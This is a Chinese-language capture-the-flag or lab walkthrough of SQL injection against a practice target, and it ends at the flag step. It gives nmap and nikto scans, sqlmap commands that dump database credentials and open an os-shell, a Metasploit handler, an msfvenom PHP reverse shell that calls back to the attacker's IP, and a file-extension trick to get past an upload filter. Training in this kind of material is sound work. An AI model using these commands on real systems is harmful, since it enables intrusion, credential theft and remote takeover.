1、SQL注入漏洞介绍

sql注入攻击指的是通过特殊的输入作为参数拆入Web应用程序，而这些输入大都是SQL语法里的一些组合，通过执行SQL语句中进而执行攻击者所要的操作，起主要原因是程序没有细致地过滤用户输入的数据，致使非法数据入侵系统。

SQL注入的产生原因通常表现在以下几个方面：①不当的类型处理；②不安全的数据库配置；③不合理的查询集处理；④不当的错误处理；⑤转义字符处理不合适；⑥多个提交处理不当。

 

2、信息探测

扫描主机服务信息以及服务版本

—nmap -sV 靶场IP地址

快速扫描主机全部信息

–nmap -T4 -A -v 靶场IP地址

探测敏感信息

–nikto -host http：//靶场IP地址：端口

 

3、深入挖掘

分析nmap、nikto扫描结果，并对结果进行分析，挖掘可以利用的信息；

在nikto扫描的结果下，发现用户登录页面的信息

使用浏览器打开 http：//ip：port/敏感页面，查看敏感信息，找到可利用的位置；

尝试admin，发现并不能直接登录到系统当中

我们想要进入系统后台，想到能不能来挖掘到系统当中的漏洞

 

4、漏洞扫描

web漏洞扫描器 owasp-zap（因为这个工具不更新，已经无法在新版本的Kali中运行了。所以被移除了，在命令行执行这个就可以使用了）

打开owasp-zap

输入靶场的IP地址，点击攻击（Attack）

左下角可以看到深黄色的旗帜，表示存在高危漏洞

 

5、漏洞利用

针对web进行漏洞扫描

对扫描的结果进行分析。注意：如果具有SQL注入漏洞，可以直接利用。毕竟SQL注入是高危漏洞，可以直接获取服务器权限。

使用sqlmap利用SQL注入漏洞

–sqlmap -u url -dbs 查看数据库名

发现两个可以利用的数据库名，information_schema是系统自带的数据库

 

–sqlmap -u url -D “数据库名” -tables 查看对应数据库中的数据表

返回photoblog数据库中三个表明

–sqlmap -u url -D “数据库名” -T “表名” -columns 查看对应字段

返回表中对应的字段!

–sqlmap -u url -D “数据库名” -T “表名” -C “列名” -dump 查看对应字段的值

最后返回用户名密码

也可以直接尝试 sqlmap -u -url -os -shell 直接获取shell

在获取密码后进行登录

6、上传shell反弹权限

攻击机启动监听

生成木马文件

启动监听端

msf > use exploit/multi/handler

msf exploit(hander) > set payload linux/x86/meterpreter/reverse_tcp

msf exploit(hander) > set lhost 攻击机IP地址

msf exploit(hander) > set lport 4444

msf exploit(hander) > run

生成反弹shell

msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP地址 lport=4444 -f raw > /root/Desktop/shell.php

上传shell执行shell

–绕过过滤机制 利用.php修改为.PHP

最后监听端返回的shell

7、获取Flag